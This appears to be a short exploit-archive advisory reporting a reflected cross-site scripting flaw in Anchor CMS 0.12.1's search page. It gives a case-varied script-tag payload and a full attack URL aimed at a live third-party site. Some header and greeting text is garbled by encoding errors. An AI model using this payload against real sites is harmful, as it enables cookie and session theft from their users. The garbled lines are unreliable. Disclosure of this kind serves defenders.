========================================================================
| # Title     : Anchor cms 0.12.1 bundled XSS vulnerability
| # Author    : indoushka
| # email     : indoushka4ever@gmail.com
| # Tested on : windows 8.1 FranASSais V.(Pro)
| # Version   : 5.2.0
| # Vendor    : https://github.com/anchorcms/anchor-cms/releases/download/0.12.1/anchor-cms-0.12.1-bundled.zip
| # Dork      : n/a
========================================================================

poc :

Cross site scripting (also referred to as XSS) 
is a vulnerability that allows an attacker 
to send malicious code (usually in the form of Javascript) 
to another user. 
Because a browser cannot know if the script 
should be trusted or not, it will execute the script in the user context allowing 
the attacker to access any cookies or session tokens retained by the browser. 

This vulnerability affects /search.php
 
Attack details :

Path Fragment input / was set to 1<ScRiPt >prompt(906629)</ScRiPt>
The input is reflected inside a text element.


http://pobl.eu/search/<ScRiPt%20>prompt(906629)</ScRiPt>


Greetz : aua'>>a'1/2a'1/2a'dega'deg aua'degaua'degau a'>>a'*a'*auaua'>>------au-auau-a'deg a'degaua'degauPSaua'3a'>>au-------- aua'degauau!a'>>auau aua'degauaua'*oauaua'degau ------
                                                                       |
jericho * Larry W. Cashdollar * moncet-1 * achraf.tn                   |
                                                                       |
===================== pa'degaua'1/2a'>>au auauoauau aua'>>auauauauauauC/  =============================